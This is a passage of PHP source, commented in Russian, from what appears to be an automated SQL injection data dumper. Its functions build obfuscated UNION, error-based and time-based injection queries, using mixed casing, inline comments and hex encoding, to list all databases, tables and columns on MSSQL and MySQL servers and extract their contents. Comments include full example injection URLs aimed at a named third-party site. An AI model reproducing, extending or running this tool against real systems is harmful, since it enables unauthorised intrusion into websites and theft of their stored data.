[{$bd}]..[sysobjects] /**/wHeRe xtype=char(85) order BY id ASC) sq order BY id DESC))\"];\n\t\t\t\n\t\t}\n\t\t\n\t\treturn $mssql;\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetAllBd(){ //получение имен всех БД (sysdatabases базы данных) из master\n\t\n\n\t\t\n\t\t\t\n\t\t$data = $this-\u003emssqlGetValue(\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [master]..[sysdatabases])\");\n\t\t$res = $data[\"(/**/sElEcT top 1 /**/cAsT(count(*) as char) /**/fRoM [master]..[sysdatabases])\"];\n\t\t\n\t\t$count = $res;\n\t\t$this-\u003ed($count,'mssqlGetCountBd');\n\n\t\t$this-\u003etimeaut = 20;\n\t\t\n\t\t$this-\u003emssqlGetDatabase();\n\t\t\n\t\tif($this-\u003edatabase !='')\n\t\t\t{\n\t\t\t\t$mssql[] = $this-\u003edatabase; \n\t\n\t\t\t\t$this-\u003ed($this-\u003edatabase,'$this-\u003edatabase mssqlGetAllBd');\n\t\t\t\n\t\t\t}\n\t\t\n\t\t\n\t\tfor ($i=1;$i\u003c$count;$i++)\n\t\t{\n\t\t\t//select AH_NAME1 COLLATE DATABASE_DEFAULT from GGIMAIN.SYSADM.BW_AUFTR_KOPF\n\t\t\t//$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar)  /**/fRoM [master]..[sysdatabases] /**/wHeRe [dbid]=$i)\");\n\t\t\t//$mssql[] = $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/fRoM [master]..[sysdatabases] /**/wHeRe [dbid]=$i)\"];\n\t\t\t\n\t\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/COLLATE DATABASE_DEFAULT  /**/fRoM [master]..[sysdatabases] /**/wHeRe [dbid]=$i)\");\n\t\t\t\n\t\t\t$bd =  $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 /**/cAsT([name] as nvarchar) /**/COLLATE DATABASE_DEFAULT  /**/fRoM [master]..[sysdatabases] /**/wHeRe [dbid]=$i)\"];\n\t\t\t\n\t\t\tif($bd !='')\n\t\t\t{\n\t\t\t\t$mssql[] = $bd;\n\t\t\t}\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\n\t\t\t\n\t\t\n\t\t\t//$this-\u003ed($this-\u003edatabase,'$this-\u003edatabase');\n\t\t\t\n\t\t\t\n\t\t\t//$this-\u003emssqlGetDatabase();\n\t\t\t//$this-\u003ed($this-\u003edatabase,'$this-\u003edatabase2222');\n\t\t\t//exit;\n\t\t\n\t\t\t\n\t\t\n\t\n\t\t\n\t\t\n\t\t$mssql = array_unique($mssql);\n\t\treturn $mssql;\n\n\t\t//}//else\n\t\t//{\n\t\t\t\t\t\n\t\t\t//$mysql = explode(',', $mysql['concat(cast(group_concat(schema_name) as char))']);\n\t\t\t//return $mysql;\n\t\t\t\n\t\t//}\n\t\t\n\t\n\n\t\t\n\t}\n\t\n\t\n\t////\n\t\n\tfunction mssqlGetVersion(){ //определение версии базовая функция\n\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t$data = $this-\u003emssqlGetValue(\"(/**/cAsT(@@version as char))\");\n\t\t\t$this-\u003eversion = $data[\"(/**/cAsT(@@version as char))\"];\n\t\t\t$this-\u003eversion = $this-\u003efilter_str($this-\u003eversion);\n\t\t\t\n\t\t\t//$this-\u003ed($data,'$data');\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetDatabase(){ //получить текущую БД\n\t\n\t\t\n\t\t\t$data = $this-\u003emssqlGetValue('db_name()');\n\t\t\t//$this-\u003ed($data,'$data');\n\t\t\t$this-\u003edatabase = $data['db_name()'];\n\t\t\n\t\t\t\n\t\t\t//$this-\u003ed($this-\u003edatabase,'$this-\u003edatabase');\n\t\t\n\t}\n\t\n\tfunction mssqlGetUser(){ //определение юзера выводит\n\t\t\n\t\t//sYsTeM_UsEr\n\t\t$data = $this-\u003emssqlGetValue('USeR_NaME()');\n\t\t\n\t\t$this-\u003euser = $data['USeR_NaME()'];\n\t\t$this-\u003euser = $this-\u003efilter_str($this-\u003euser);\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\tfunction mssqlGetColumns_inf($bd,$table){//получение всех колонок у кокретной БД и ТАБЛИЦЫ\n\t\t\n\t\t$table_new = $this-\u003echarcher_mssql($table);\n\t\t\n\t\t$count = 50;\n\t\t\n\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t{\n\t\t\t\n\t\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top $i column_name from $bd.information_schema.columns where table_name=$table_new order BY column_name ASC) sq order BY column_name DESC)\");\n\t\t\t\n\t\t\t$column = $qq[\"(/**/sElEcT /**/dIsTiNcT top 1 column_name from (select distinct top $i column_name from $bd.information_schema.columns where table_name=$table_new order BY column_name ASC) sq order BY column_name DESC)\"];\n\t\t\t\n\t\t\t//$this-\u003ed($qq,'$qq');\n\t\t\t//exit;\n\t\t\t\n\t\t\t\n\t\t\tif($column !='')\n\t\t\t{\n\t\t\t\t$mssql[] = $column;\n\t\t\t}\n\t\t\t\n\t\t\t$count_all = count($mssql);\n\t\t\t$count_unique = count(array_unique($mssql));\n\t\t\t\n\t\t\t\n\t\t\t$this-\u003ed($count_all,'$count_all');\n\t\t\t$this-\u003ed($count_unique,'$count_unique');\n\t\t\t\n\t\t\tif($count_all \u003e $count_unique){\n\t\t\t\t$this-\u003ed('STOP');\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\treturn array_unique($mssql);\n\t\t\n\t\t\n\t}\n\t\n\tfunction mssqlGetAllTables_inf($bd){//получение ВСЕХ ТАБЛИЦ у конкретной БД\n\t\t\n\t\t$count = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/distinct top 1 /**/cAsT(count(*) as char) /**/fRoM {$bd}.information_schema.tables)\");\n\t\t\n\t\t$count = $count[\"(/**/sElEcT /**/distinct top 1 /**/cAsT(count(*) as char) /**/fRoM {$bd}.information_schema.tables)\"];\n\t\t\n\t\t$this-\u003ed($count,'count'.$bd);\n\t\t\n\t\t\n\t\t//$count=30;\n\t\t\n\t\tfor ($i=1;$i\u003c$count;$i++)\n\t\t{\n\t\t\t\n\t\t\t$qq = $this-\u003emssqlGetValue(\"(/**/sElEcT /**/distinct top 1 /**/table_name /**/fRoM (/**/sElEcT /**/distinct top $i table_name from {$bd}.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)\");\n\t\t\t\n\t\t\t\n\t\t\t$table_one = $qq[\"(/**/sElEcT /**/distinct top 1 /**/table_name /**/fRoM (/**/sElEcT /**/distinct top $i table_name from {$bd}.information_schema.tables order BY table_name ASC) sq order BY table_name DESC)\"];\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif($table_one !='')\n\t\t\t{\n\t\t\t\t$mssql[] = $table_one;\n\t\t\t}else{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t\t$mssql = array_unique($mssql);\n\t\treturn $mssql;\n\t\t\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\t////////////////////////////////////////////////////////////////\t\n\t/////////Функции определения конкретных параметров для MYSQL////\n\t////////////////////////////////////////////////////////////////\n\t\n\tfunction mysqlGetAllBd(){ //получение всех баз данных\n\t\n\t\n\t\t//$this-\u003emysqlGetVersion();\n\t\t\n\t\t$count = $this-\u003emysqlGetCountInsert('information_schema', 'schemata');\n\t\t\n\t\tif($count \u003c 15)\n\t\t{\n\t\t\t\t//$this-\u003ed('group_concat mysqlGetAllBd');\n\t\t\t\t$mysql = $this-\u003emysqlGetValue('information_schema', 'schemata', 'concat(cast(group_concat(schema_name) as char))',0,array());\n\t\t\t\t\n\t\t\t\t//$mysql = false;\n\t\t\t\n\t\t\t\t\n\t\t\t\tif($mysql==false)\n\t\t\t\t{\n\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$mysql = explode(',', $mysql['concat(cast(group_concat(schema_name) as char))']);\n\t\t\t\t\t//$this-\u003ed($mysql,'$mysql');\n\t\t\t\t\t//exit;\n\t\t\t\t\treturn $mysql;\n\t\t\t\t}\t\n\t\t}\n\t\t\n\t\t\n\t\t\t//$count=0;\n\t\t\t$this-\u003etimeaut = 20;\n\t\t\t\n\t\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$qq = $this-\u003emysqlGetValue('information_schema', 'schemata', array('SCHEMA_NAME'),$i);\n\t\t\t\t$mysql[] = $qq['SCHEMA_NAME'];\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif(empty($mysql)){\n\t\t\t\t\n\t\t\t\t$this-\u003emysqlGetDatabase();\n\t\t\t\t$mysql[] = $this-\u003edatabase; \n\t\t\t\t\n\t\t\t\t//$this-\u003ed($this-\u003edatabase,'$this-\u003edatabase');\n\t\t\t\t\n\t\t\t\tif($this-\u003edatabase !=''){return $mysql;}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\treturn $mysql;\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction mysqlGetFieldByTable($bd,$table){//получение полей из бд и таблицы\n\t\t\n\t\t$count = $this-\u003emysqlGetCountInsert('information_schema', 'COLUMNS','WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).' AND TABLE_NAME='.$this-\u003estrToHex($table).'');\n\t\t\n\t\tif($count \u003c 15)\n\t\t{\n\t\t\t$mysql = $this-\u003emysqlGetValue('information_schema', 'COLUMNS', array('concat(cast(group_concat(COLUMN_NAME) as char))'),0,array(),'WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).' AND TABLE_NAME='.$this-\u003estrToHex($table).'');\n\t\t\t\n\t\t\t\tif($mysql==false)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t{\n\t\t\t\t\t\n\t\t\t\t$mysql = explode(',', $mysql['concat(cast(group_concat(COLUMN_NAME) as char))']);\n\t\t\t\treturn $mysql;\n\t\t\t\t\n\t\t\t}\t\n\t\t\t\n\t\t}\n\t\t\n\n\t\t\t$this-\u003etimeaut = 20;\n\t\t\t\n\t\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$qq = $this-\u003emysqlGetValue('information_schema', 'COLUMNS', array('column_name'),$i,array(),'WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).' AND TABLE_NAME='.$this-\u003estrToHex($table).'');\n\t\t\t\t\n\t\t\t\t$qq['column_name'] = str_replace('//','',$qq['column_name']);\n\t\t\t\t$mysql[] = $qq['column_name'];\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $mysql;\n\n\t\t\n\t\t\n\t///\treturn $mysql;\n\t\t\n\t}\n\t\n\tfunction mysqlGetTablesByDd($bd){//получение таблиц из БД\n\t\t\n\t\t//$this-\u003ed('mysqlGetTablesByDd( nacahlo');\n\t\t\n\t\t$count = $this-\u003emysqlGetCountInsert('information_schema', 'tables','WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).'');\n\t\t\n\t\t//$this-\u003ed($count,'$count');\n\t\t\n\t\tif($count \u003c 15)\n\t\t{\n\t\t\t$mysql = $this-\u003emysqlGetValue('information_schema', 'tables', array('concat(cast(group_concat(table_name) as char))'),0,array(),'WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).'');\n\t\t\t//$this-\u003ed($mysql,'mysqlGetTablesByDd');\n\t\t\t\n\t\t\tif($mysql==false)\n\t\t\t{\n\t\t\t\n\t\t\t}else\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$mysql = explode(',', $mysql['concat(cast(group_concat(table_name) as char))']);\n\t\t\t\t$this-\u003ed('mysql TRUE bd');\n\t\t\t\n\t\t\t\treturn $mysql;\n\t\t\t\n\t\t\t}\t\n\t\t}\n\t\t\t\n\t\t\n\t\t\t//$this-\u003ed('mysql false\u003cbr\u003e');\n\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t$k = 0;\n\t\t\t\n\t\t\t$this-\u003etimeaut = 20;\n\t\t\t\n\t\t\tfor ($i=0;$i\u003c$count;$i++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$qq = $this-\u003emysqlGetValue('information_schema', 'tables', array('table_name'),$i,array(),'WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).'');\n\t\t\t\t$mysql[] = $qq['table_name'];\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($qq['table_name'],'$qq[table_name]');\n\t\t\t\t//if($i==2)return $mysql;\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(empty($qq['table_name']))$k++;\n\t\t\t\t\n\t\t\t\tif($k==4)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003ed('k==4 huevo pusto');\n\t\t\t\t\treturn $mysql;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $mysql;\n\t\t\n\t\t\t\n\t}\n\n\tfunction mysqlGetCountTablesBD($bd){// получение количества таблиц у БД\n\t\t\n\t\t$count = $this-\u003emysqlGetCountInsert('information_schema', 'tables','WHERE TABLE_SCHEMA='.$this-\u003estrToHex($bd).'');\n\t\t\n\t\t//$this-\u003ed($count,'$count');\n\t\t//exit;\n\t\treturn $count;\n\t\t\n\t}\n\t\n\tfunction mysqlGetVersion(){ //определение версии базовая функция\n\t\t\n\t\t\n\t\n\t\t$data = $this-\u003emysqlGetValue('','','vErsion()',$limit=0,$order=array(),$where='');\n\t\t\n\n\t\t$this-\u003eversion = $data['vErsion()'];\n\t\t$this-\u003eversion = $data['vErsion()'];\n\t\t$this-\u003eversion = $this-\u003efilter_str($this-\u003eversion);\n\t\t\n\t\t$g = $data['vErsion()'];\n\t\treturn $g;\n\t\t\n\t\t\n\t\t//$this-\u003eversion = $this-\u003efilter_str($this-\u003eversion);\n\t\t\n\t\t//$this-\u003ed($this-\u003eversion,'$this-\u003eversion');\n\t\t\n\t\t//$this-\u003ed($data,'$this-\u003emysqlGetValue');\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction mysqlGetUser(){ //определение юзера выводит\n\t\t\n\t\t\n\t\t$data = $this-\u003emysqlGetValue('','','UseR()',$limit=0,$order=array(),$where='');\n\t\t\n\t\t$this-\u003euser = $data['UseR()'];\n\t\t$this-\u003euser = $this-\u003efilter_str($this-\u003euser);\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tfunction mysqlGetDatabase(){ //получить текущую БД\n\t\n\t\tif($this-\u003emssql==true)\n\t\t{\n\t\t\t$data = $this-\u003emssqlGetValue('','','db_name()',$limit=0,$order=array(),$where='');\n\t\t\t$this-\u003edatabase = $data['db_name()'];\n\t\t}else\n\t\t{\n\t\t\t$data = $this-\u003emysqlGetValue('','','database()',$limit=0,$order=array(),$where='');\n\t\t\t$this-\u003edatabase = $data['database()'];\n\t\t}\t\n\t\t\n\t\t\t$this-\u003ed($this-\u003edatabase,'$this-\u003edatabase');\n\t\t\n\t}\n\t\n\t\n\t\n\t \n\t\n\t////////////////////////////////////////////////////////////////\n\t///////////////БАЗОВЫЕ ДЛЯ ЗАПРОСОВ MYSQL///////////////////////\n\t////////////////////////////////////////////////////////////////\n\t\n\t\n\t\n\t\n\tfunction mysqlGetValue_old($bd,$table,$pole,$limit=0,$order=array(),$where=''){\n\t\t\n\t\t\tif($this-\u003emethod_hex ==true  AND $this-\u003emethod_auto ==false){\n\t\t\t\t$data = $this-\u003emysqlGetValueHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emethod_char ==true AND $this-\u003emethod_auto ==false){\n\t\t\t\t$data = $this-\u003emysqlGetValueCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emethod_auto ==true)\n\t\t\t{\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003emethod_hex ==true){\n\t\t\t\t\t\n\t\t\t\t\t$data = $this-\u003emysqlGetValueHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003emethod_char ==true)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data = $this-\u003emysqlGetValueCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($data[0] !='' AND count($data)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this-\u003emethod_char = true;\n\t\t\t\t\t\t\treturn $data;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($data[0]=='' AND count($data)==0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$data = $this-\u003emysqlGetValueHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($data[0] =='' AND count($data)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$data = $this-\u003emysqlGetValueCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($data[0] =='' AND count($data)==0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$this-\u003emethod_hex = true;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$this-\u003emethod_char =true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$this-\u003emethod_hex = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\tfunction mysqlGetValue($bd,$table,$pole,$limit=0,$order=array(),$where=''){\n\t\t\n\t\t\tif($this-\u003emethod_hex ==true  AND $this-\u003emethod_auto ==false){\n\t\t\t\t$data = $this-\u003emysqlGetValueHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emethod_char ==true AND $this-\u003emethod_auto ==false){\n\t\t\t\t$data = $this-\u003emysqlGetValueCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emethod_ifnull ==true AND $this-\u003emethod_auto ==false){\n\t\t\t\t$data = $this-\u003emysqlGetValueIFNULL($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emethod_auto ==true)\n\t\t\t{\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($this-\u003emethod_hex ==true){\n\t\t\t\t\t\n\t\t\t\t\t$data = $this-\u003emysqlGetValueHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t}elseif($this-\u003emethod_ifnull==true)\n\t\t\t\t{\n\t\t\t\t\t$data = $this-\u003emysqlGetValueIFNULL($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\n\t\t\t\t\tif($data[0] !='' AND count($data)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this-\u003emethod_char = true;\n\t\t\t\t\t\t\treturn $data;\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003emethod_char ==true)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data = $this-\u003emysqlGetValueCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($data[0] !='' AND count($data)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this-\u003emethod_char = true;\n\t\t\t\t\t\t\treturn $data;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($data[0]=='' AND count($data)==0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$data = $this-\u003emysqlGetValueHEX($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($data[0] =='' AND count($data)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$data = $this-\u003emysqlGetValueCHAR($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($data[0] =='' AND count($data)==0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$data = $this-\u003emysqlGetValueIFNULL($bd,$table,$pole,$limit,$order,$where);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif($data[0] =='' AND count($data)==0)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$this-\u003emethod_hex = true;\n\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t$this-\u003emethod_ifnull = true;\n\t\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$this-\u003emethod_char =true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$this-\u003emethod_hex = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\n\t}\n\t\n\tfunction mysqlGetValueHEX($bd,$table,$pole,$limit=0,$order=array(),$where=''){//общая функция для MYSQL через HEX с sqli dumper\n\t\t\n\n\t\t\n\t\t\n\t\n\t\t\n\t\t\n\t\tif($this-\u003emethod==10)\n\t\t{\n\t\t\t$get = $this-\u003emysqlGetValueSleep($bd,$table,$pole,$limit,$order,$where);\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\n\t\tif($this-\u003emethod==6)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==6 mysqGetValueByErrorNewW');\n\t\t\t$get = $this-\u003emysqGetValueByErrorNew($bd,$table,$pole,$limit,$order,$where);;\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\t\n\t\n\t\tif($this-\u003emethod==5)\n\t\t{\n\n\t\t\t//$this-\u003ed('tochka: method==5 mysqlGetByOrder');\n\t\t\t$get = $this-\u003emysqlGetByOrder($bd,$table,$pole,$limit,$order,$where);\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\t\n\t\tif($this-\u003emethod==4)\n\t\t{\n\t\t\t//$this-\u003ed('tochka: method==4 mysqGetValueByError');\n\t\t\t$get = $this-\u003emysqGetValueByError($bd,$table,$pole,$limit,$order,$where);;\n\t\t\tif($get!==false)return $get;\n\t\t\treturn false;\n\n\t\t}\n\t\t\n\t\t\n\t\t//$this-\u003ed('method po umolchaniy');\n\t\t\n\t\tif($table!=='')\n\t\t{\n\t\t\t\n\t\t\tif($bd==''){\n\t\t\t\t$from = 'FROM+'.$table.'';\n\t\t\t}else{\n\t\t\t\t$from = 'FROM+'.$bd.'.'.$table.'';\n\t\t\t}\n\t\t}else{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\t\n\t\t$bd =    str_replace(' ', '+',$bd);\n\t\t$table = str_replace(' ', '+',$table);\n\t\t$from =  str_replace(' ', '+',$from);\n\t\t$where = str_replace(' ', '+',$where);\n\t\t$order = str_replace(' ', '+',$order);\n\t\t\n\t\t\n\t\t$method = $this-\u003esposob;\n\t\t\n\t\t//$this-\u003ed($method,'$method = $this-\u003esposob');\n\t\t\n\t\t\n\t\t//$this-\u003ed($where,'$where');\n\t\t\n\t\t//начало лимита\n\t\t$limit = $limit.',1';\n\t\t\t\t\t\t\t\n\t\t$n = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][0];//начало запроса\n\t\t$k = $this-\u003evariant_query[$this-\u003esposob][$this-\u003emethod][1];//конец  запроса\n\t\t\n\t\t//$this-\u003ed($n,'начало запроса');\n\t\t//$this-\u003ed($k,'конец  запроса');\n\t\t\n\t\t//$this-\u003ed($this-\u003ecolumn,'$this-\u003ecolumn');\n\t\t//$this-\u003ed($this-\u003ework,'$this-\u003ework');\n\t\t\n\t\n\t\t$query = \"1111111111111$n\";//начальный запрос для НЕ sleep\n\t\t\n\t\t\t\n\t\n\t\tif(!is_array($pole))$pole = array($pole);//это как раз наш запрос version к примеру\n\t\t\n\t\t$zapr = '';//общая строка для наших полей\n\t\t \n\t\t \n\t\t //http://m.loading.se/news.php?pub_id=999999.9 union all select 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,(select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 4,1),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--\n\t\t \n\t\t //select distinct\n\t\t \n\t\t \n\t\t //http://m.loading.se/news.php?pub_id=4192011111111111111111111111111%20UNION%20SELECT%201,2,3,4,(select%20CONCAT(0x5b6464645d,unhex(Hex(cast(%20as%20char))),0x5b6464645d)%20FROM%20information_schema.schemata%20limit%201,1),6,7,8%20--%20\n\t\t \n\t\t//обволакиваем его спец символами, чтобы патом найти можно было бы\n\t\tforeach ($pole as $key=\u003e$val)\n\t\t{\n\t  \t\n\t\t \tif(count($pole)==1)\n\t\t\t{\n\t\t\t\t//$mer = $table.'.'.$val;\n\t\t\t\t//$mer = $val;\t\t\t\n\t\t\t\t//$mer2 = '['.$val.']';\n\t\t\t\t\n\t\t\t\t//если одно поле\n\t\t\t\t//$zapr .= \"unhex(Hex(cast($mer as char))),0x5e,\";\n\t\t \t\t//$zapr .= 'CHAR('.$this-\u003echarcher('[X]').')'.','.$val.',CHAR('.$this-\u003echarcher('[XX]').')';\n\t\t\n\t\t\t\t//$zapr .= \"IFNULL(unhex(Hex(cast($val as char))),'')\";\n\t\t\t\t$zapr .= \"IFNULL(unhex(Hex(cast($val as char))),0x20)\";\n\t\t\t\t\n\t\t\t\t// $zapr .= \"unhex(Hex(concat(cast(group_concat(table_name) as char))))\";\n\t\t\t\t \n\t\t\t\t// $zapr .= \"concat(cast(group_concat(table_name) as char))\";\n\t\t\t\t\n\t\t \t\t\n\t\t \t}else\n\t\t\t{\n\t\t\t\t\n\t\t\t\t\n\t\t \t\n\t\t\t\t//если несколько найти надо\n\t\t\t\t\n\t\t\t\t//$mer = $table.'.'.$val;\n\t\t\t\t//$mer = $val;\t\t\t\n\t\t\t\t//$mer2 = '['.$val.']';\n\t\t\t\t\n\t\t\t\t//\t$zapr .= \"IFNULL(unhex(Hex(cast($val as char))),' ')\";\n\t\t\t\t//$zapr .= \",0x5e,unhex(Hex($mer))\";\n\t\t\t\t//$zapr .= \",unhex(Hex($mer))unhex(Hex(cast($mer as char))),unhex(Hex($mer))\";\n\t\t\t\t//$zapr .= ',CHAR('.$this-\u003echarcher('['.$val.']').')'.','.$val.',CHAR('.$this-\u003echarcher('['.$val.']').')';\n\t\t\t\t\n\t\t\t\t//$zapr .= \"0x5e,IFNULL(unhex(Hex(cast($val as char))),''),0x5e,\";\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t//$zapr .= \"0x5e,IFNULL(cast($val as char),0x20),0x5e,\";\n\t\t\t\t\t\n\t\t\t\t$zapr .= \"0x5e,IFNULL(unhex(Hex(cast($val as char))),0x20),0x5e,\";\t\t\n\t\t\t\t\t\n\t\t\t\t//$zapr .= \"0x5e,IFNULL(cast($val as char),0x20),0x5e,\";\t\n\n\t\t \t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t  \t\n\t\t}\n\t\t\n\t\t//$this-\u003ed($zapr,'final $zapr');\n\t  \n\t\t\n\t\t\n\t\t $work_count = count($this-\u003ework);//рабочие поля где вывод есть\n\t\t\n\t\t $new = array(); // Что на выходе\n\n\t\t $give = 0;\n\t\t \n\t\t\n\t\t \n\t\t if($order!==array() AND count($pole)\u003e1)\n\t\t\t{\n\t\t\t\t$order2 = '+order+by+`'.$order[0].'`+'.$order[1].'+';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$order2 = '';\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\tif($this-\u003edesc ==0 AND 